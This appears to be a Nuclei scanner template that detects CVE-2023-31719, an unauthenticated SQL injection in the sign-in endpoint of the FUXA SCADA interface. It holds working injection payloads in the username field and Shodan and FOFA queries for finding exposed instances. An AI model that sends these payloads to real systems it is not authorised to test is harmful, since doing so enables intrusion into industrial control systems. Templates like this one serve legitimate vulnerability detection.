FUXA <= 1.1.12 - Unauthenticated SQL Injection

id: CVE-2023-31719

info:
  name: FUXA <= 1.1.12 - Unauthenticated SQL Injection
  author: Securin
  severity: critical
  description: |
    FUXA <= 1.1.12 contains a SQL injection caused by unsanitized input in /api/signin, letting attackers execute arbitrary SQL commands, exploit requires sending crafted input to the endpoint.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to the latest version of FUXA to fix the vulnerability.
  reference:
    - https://github.com/MateusTesser/CVE-2023-31719
    - https://github.com/frangoteam/FUXA/blob/v1.1.12/server/runtime/users/usrstorage.js
    - https://github.com/frangoteam/FUXA/blob/v1.1.12/server/api/auth/index.js
    - https://nvd.nist.gov/vuln/detail/CVE-2023-31719
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-31719
    epss-score: 0.26032
    epss-percentile: 0.97981
    cwe-id: CWE-89
    cpe: cpe:2.3:a:frangoteam:fuxa:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: frangoteam
    product: fuxa
    shodan-query: http.title:"FUXA"
    fofa-query: title="FUXA"
  tags: cve,cve2023,fuxa,sqli,unauth,scada

variables:
  user: "{{rand_text_alpha(6)}}"
  pass: "{{rand_text_alpha(6)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /api/settings HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "daqTokenizer", "uiPort", "packageDir")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' OR nosuchfunc{{user}}(1)='1","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "SQLITE_ERROR")'
          - 'contains(body, "no such function: nosuchfunc{{user}}")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' OR '1'='1","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
          - 'contains(body, "Invalid email/password")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/signin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"username":"{{user}}' AND '1'='2","password":"{{pass}}"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'len(body) == 0'
        condition: and
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